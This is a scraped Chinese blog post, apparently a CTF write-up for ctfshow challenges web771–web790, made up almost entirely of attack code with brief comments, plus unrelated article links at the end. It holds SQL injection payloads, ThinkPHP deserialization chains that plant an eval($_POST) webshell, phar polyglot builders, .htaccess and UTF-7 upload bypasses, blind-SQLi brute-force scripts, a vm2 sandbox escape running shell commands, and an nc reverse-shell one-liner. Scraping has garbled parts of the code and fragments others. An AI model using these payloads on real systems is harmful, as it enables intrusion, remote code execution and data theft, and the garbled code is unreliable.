cd RedisModulesSDK/ make

username[0]=not like&username[1][0]=%25%25&username[1][1]=233&username[2]=) union select 1,'123','123'%23&password=123

processInformation['running']=true; $this->status=3; $this->processPipes=(new Memcache(1)); } }namespace think; class Model{}namespace think\model; use think\Model; class Merge extends Model{ public $a='1'; public function __construct(){} }namespace think\model\relation; use think\console\Output; use think\db\Query; use think\model\Merge; use think\model\Relation; class HasMany extends Relation { //protected $baseQuery=true; protected $parent; protected $localKey='a'; protected $foreignKey='a'; protected $pivot; public function __construct(){ $this->query=new Output(); $this->parent= new Merge(); } }namespace think\model; class Relation{}namespace think\db; class Query{}namespace think\console; class Output{ protected $styles = [ 'info', 'error', 'comment', 'question', 'highlight', 'warning', 'getTable', 'where' ]; private $handle; public function __construct() { $this->handle = (new \think\session\driver\Memcache(0)); } }namespace think\session\driver; class Memcache { protected $handler; public function __construct($i) { if($i==0){ $this->handler = (new \think\cache\driver\Memcached(0)); }else{ $this->handler = (new \think\model\relation\HasMany); } } }namespace think\cache\driver; class Memcached { protected $tag; protected $options; protected $handler; public function __construct($i) { if($i==0){ $this->tag = true; $this->options = [ 'expire'=> 0, 'prefix'=> 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+',/* eval($_POST[1]); ?> */ ]; $this->handler = (new File); } } }class File { protected $tag; protected $options; public function __construct() { $this->tag = false; $this->options = [ 'expire'=> 3600, 'cache_subdir'=> false, 'prefix'=> '', 'data_compress' => false, 'path'=> 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/', ]; } }@unlink("phar.phar"); $phar = new \Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89A "); //设置stub $phar->setMetadata(new \think\Process()); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();

url?s=admin/index/listpic dir=phar://static/img/person.jpg

urlindex.php?g=index&m=home&a=index&doge[_filename]=/var/log/nginx/access.log

myfavorite=mewtwo&dream=od%09-c%09/f[f-o][]-b]g

parse_url($_SERVER['REQUEST_URI']);

"cat /f*"]; private $withAttr = ["yu22x" => "system"]; }namespace think; abstract class Model { use model\concern\Attribute; private $lazySave; protected $withEvent; private $exists; private $force; protected $table; function __construct($obj = '') { $this->lazySave = true; $this->withEvent = false; $this->exists = true; $this->force = true; $this->table = $obj; } }namespace think\model; use think\Model; class Pivot extends Model { } $a = new Pivot(); $b = new Pivot($a); echo urlencode(serialize($b));

import requests url="http://076659f4-4ac2-4b8b-b947-0c0c146dfa26.challenge.ctf.show/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}(); &%86=get_the_flag" htaccess ='''#define width 1337 #define height 1337 AddType application/x-httpd-php .jpg php_value zend.multibyte 1 php_value zend.script_encoding "UTF-7"'''jpg='''#define width 1337 #define height 1337 +ADw?php eval(+ACQAXw-POST+AFs-1+AF0)+ADs?+AD4-'''files1={'file':('.htaccess',htaccess,'images/png')}files2={'file':('2.jpg',jpg,'images/png')}r=requests.post(url,files=files1) r=requests.post(url,files=files2)

'); ?>

import requests import base64 import string url="http://2b374eac-d8ff-4d0d-856b-eb66399d52e4.challenge.ctf.show/" s=string.ascii_letters+string.digits answer='' for i in range(1,10): print(i) for j in s: #payload="?answer=1'||if(substr(database(),{0},1)='{1}',1,0)%23".format(i,j) payload="?answer=1'||if(substr(answer,{0},1)='{1}',1,0)%23".format(i,j) u=url+payload r=requests.get(u) if("Wrong" in r.text): answer+=j print(answer) break

#coding:utf-8 #author yu22x import requests url="http://2b374eac-d8ff-4d0d-856b-eb66399d52e4.challenge.ctf.show/flag.php" data=https://www.it610.com/article/{'cmd':'. /???/????????[?-[]'} headers={'Cookie':'PHPSESSID=53964734d4bc928487088a2fbdf83b13'} files={'file':'cat /f*'} while True: response=requests.post(url,files=files,data=https://www.it610.com/article/data,headers=headers) html = response.text if"ctfshow{" in html: print(html) break

shell.txt

GET: ?file=shell.txt POST: 1=echo `cat /f*`;

ln -s /var/www/html test; zip --symlinks test1.zip test; rm -rf test; mkdir test; cd test; echo '' >a.php; cd ..; zip -q -r test2.zip *

import requests url="http://7d0c6496-ff84-4083-9bcc-ffe2d9813f00.challenge.ctf.show/" files={'file':('test.zip',open('test1.zip','rb'),'image/png')} files2={'file':('test.zip',open('test2.zip','rb'),'image/png')} requests.post(url,files=files) requests.post(url,files=files2)

file_put_contents("a.php",urldecode('

生成的文件内容如下：

文章图片

运行即可执行system(“cat /f*”);
当然我这里只是提供一种思路，应该还有挺多方法，欢迎大家补充。
具体payload如下：

startBuffering(); $phar -> setStub('GIF89a'.''); $object = new ctfshow(); $object ->code= urldecode('%0a$_=~(%8c%86%8c%8b%9a%92); $__=~(%9c%9e%8b%df%d0%99%d5); $_($__); '); $object->name="aa.php"; $phar->setMetadata($object); //将自定义的 meta-data 存入 manifest $phar->addFromString("a", "a"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering();

import requests import base64 url="http://d9872377-e4ea-4719-a371-44564df940ed.challenge.ctf.show/" #上传phar文件 content1=(base64.b64encode(open('shell.phar','rb').read())).decode() name1="php://filter/write=convert.base64-decode/resource=a" requests.post(url,data=https://www.it610.com/article/{'name':name1,'content':content1})#触发反序列化 name2="phar:///var/www/html/a" content2='123' requests.post(url,data=https://www.it610.com/article/{'name':name2,"content":content2})#获取flag r=requests.get(url+'aa.php') print(r.text)

web787 调用匿名函数

$key = create_function("","die(`cat /flag.txt`); "); echo $key; //结果 //\00lambda_1

【ctfshow|CTFSHOW大赛原题篇(web771-web790)】也就是说我们可以使用"\00lambda_1()"来调用该匿名函数。
但是后面的1不是固定的
他代表的是当前进程中的第几个匿名函数,所以拿burp爆破即可。

文章图片


文章图片

web788 同[0CTF 2016]piapiapia
把config.php改成flag.php即可，别忘了修改长度。
web789 perl的，不是很懂，可用参考文章https://blog.csdn.net/weixin_44037296/article/details/112283424
上传文件的时候抓包
构造如下payload

文章图片


文章图片

web790 vm2沙箱逃逸
payload

?data=https://www.it610.com/article/(function(){ try{ Buffer.from(new Proxy({}, { getOwnPropertyDescriptor(){ throw f=>f.constructor("return process")(); } })); }catch(e){ return e(()=>{}).mainModule.require("child_process").execSync("xxx").toString(); } })()

直接反弹shell有些问题，但是里面有nc，可以用下面的命令进行反弹

kfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

推荐阅读

• 

  战锤末世鼠疫2dlc内容介绍 战锤末世鼠疫2dlc的内容是什么
• 

  健美瘦身操都有哪些方法？，健美瘦身操都有哪些方法组成
• 

  魔术队主场连败糟糕需要调整阵容，雄鹿队有望全主力出战！
• 

  长期吃黑米后果惊人 每天吃黑米饭当主食好吗
• 

  MIUI系统双WiFi功能和WIFI分享功能简介！ 小米wifi共享
• 

  我也想你英语怎么说 miss的意思
• 

  成立单位行贿应当怎么样量刑处罚
• 

  二刷34.|二刷34. Search for a Range
• 

  python获取输入文件的文件名称，python输入文件名读取文件
• 

  淮南豆腐宴多少道菜
• 

  腌洋姜的制作方法步骤
• 

  2023年北京社保缴费基数上下限是多少
• 

  客户服务质量控制
• 

  4.|4. 通过整理透视人际关系
• 

  5元解决6030屏幕进灰的方法
• 

  羊肚菌，羊肚菌的营养价值
• 

  吃了韭菜拉出黑色韭菜
• 

  狮子简笔画 狮子简笔画怎么画
• 

  小松树儿歌带歌词 老松树儿歌如何写教案，小松树儿歌
• 

  驴心管怎么做好吃

• ctfshow|CTFSHOW大赛原题篇(web756-web770)
• 2022红明谷杯web
• 量化|talib计算指标
• python|redis 绑定ip不生效，redis外网无法访问的解决方案
• python|2021-06最新亲测CentOS-7下安装Redis的详细过程
• python|python（talib 计算 SAR）
• python|python（talib 计算 SAR 用 pro_api）
• devops|道法术器 — DevOps 端到端部署流水线 V2.0
• python|网络图片爬虫(几个简单步骤实现网页图片的爬取，详细步骤，超详细，简单易懂)